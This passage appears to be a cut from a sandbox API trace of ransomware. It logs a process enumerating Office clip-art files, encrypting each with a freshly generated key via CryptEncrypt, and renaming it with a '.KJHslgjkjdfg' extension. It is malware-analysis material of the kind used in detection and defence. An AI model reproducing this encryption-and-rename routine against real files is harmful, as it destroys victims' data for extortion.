lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.709] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.709] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.709] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.709] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.709] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.709] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c0c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1c0c, lpOverlapped=0x0) returned 1 [0198.712] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c10) returned 1 [0198.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.712] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1c10, lpOverlapped=0x0) returned 1 [0198.712] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.713] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.713] SetEndOfFile (hFile=0x130) returned 1 [0198.716] GetProcessHeap () returned 0x990000 [0198.716] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.716] GetProcessHeap () returned 0x990000 [0198.716] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200163.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200163.wmf.kjhslgjkjdfg")) returned 1 [0198.718] CloseHandle (hObject=0x130) returned 1 [0198.718] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200183.WMF", cAlternateFileName="")) returned 1 [0198.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.719] GetProcessHeap () returned 0x990000 [0198.719] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.719] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.719] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.720] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.720] GetProcessHeap () returned 0x990000 [0198.720] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.720] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.720] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.720] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.724] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.724] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.724] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.724] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.724] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.724] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.724] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x14c0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x14c0, lpOverlapped=0x0) returned 1 [0198.725] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14c0, dwBufLen=0x14c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14c0) returned 1 [0198.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.726] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x14c0, lpOverlapped=0x0) returned 1 [0198.726] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.726] SetEndOfFile (hFile=0x130) returned 1 [0198.729] GetProcessHeap () returned 0x990000 [0198.729] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.729] GetProcessHeap () returned 0x990000 [0198.729] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200183.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200183.wmf.kjhslgjkjdfg")) returned 1 [0198.730] CloseHandle (hObject=0x130) returned 1 [0198.730] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200189.WMF", cAlternateFileName="")) returned 1 [0198.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.732] GetProcessHeap () returned 0x990000 [0198.732] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.732] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.732] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.734] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.734] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.734] GetProcessHeap () returned 0x990000 [0198.734] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.734] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.734] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.734] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.735] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.735] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.735] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.735] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.735] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.735] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.735] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f7c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f7c, lpOverlapped=0x0) returned 1 [0198.736] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f80, dwBufLen=0x1f80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f80) returned 1 [0198.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.737] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f80, lpOverlapped=0x0) returned 1 [0198.737] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.737] SetEndOfFile (hFile=0x130) returned 1 [0198.740] GetProcessHeap () returned 0x990000 [0198.740] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.740] GetProcessHeap () returned 0x990000 [0198.740] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf.kjhslgjkjdfg")) returned 1 [0198.742] CloseHandle (hObject=0x130) returned 1 [0198.742] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65cc000, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65cc000, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x7a46, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200273.WMF", cAlternateFileName="")) returned 1 [0198.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.743] GetProcessHeap () returned 0x990000 [0198.743] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.743] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.743] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0198.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.746] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.746] GetProcessHeap () returned 0x990000 [0198.746] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.746] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.746] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.746] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.746] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.746] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.746] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.746] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.746] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.747] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.747] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.747] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7a46, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7a46, lpOverlapped=0x0) returned 1 [0198.748] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7a50, dwBufLen=0x7a50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7a50) returned 1 [0198.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.749] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7a50, lpOverlapped=0x0) returned 1 [0198.749] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.749] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.749] SetEndOfFile (hFile=0x130) returned 1 [0198.752] GetProcessHeap () returned 0x990000 [0198.752] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.752] GetProcessHeap () returned 0x990000 [0198.752] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf.kjhslgjkjdfg")) returned 1 [0198.754] CloseHandle (hObject=0x130) returned 1 [0198.754] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f04700, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9f04700, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1 [0198.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.756] GetProcessHeap () returned 0x990000 [0198.756] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.756] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.756] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0198.759] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.759] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.759] GetProcessHeap () returned 0x990000 [0198.759] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.759] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.759] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.759] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.759] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.759] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.759] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.760] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.760] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.760] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.760] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.760] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4c0a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4c0a, lpOverlapped=0x0) returned 1 [0198.761] 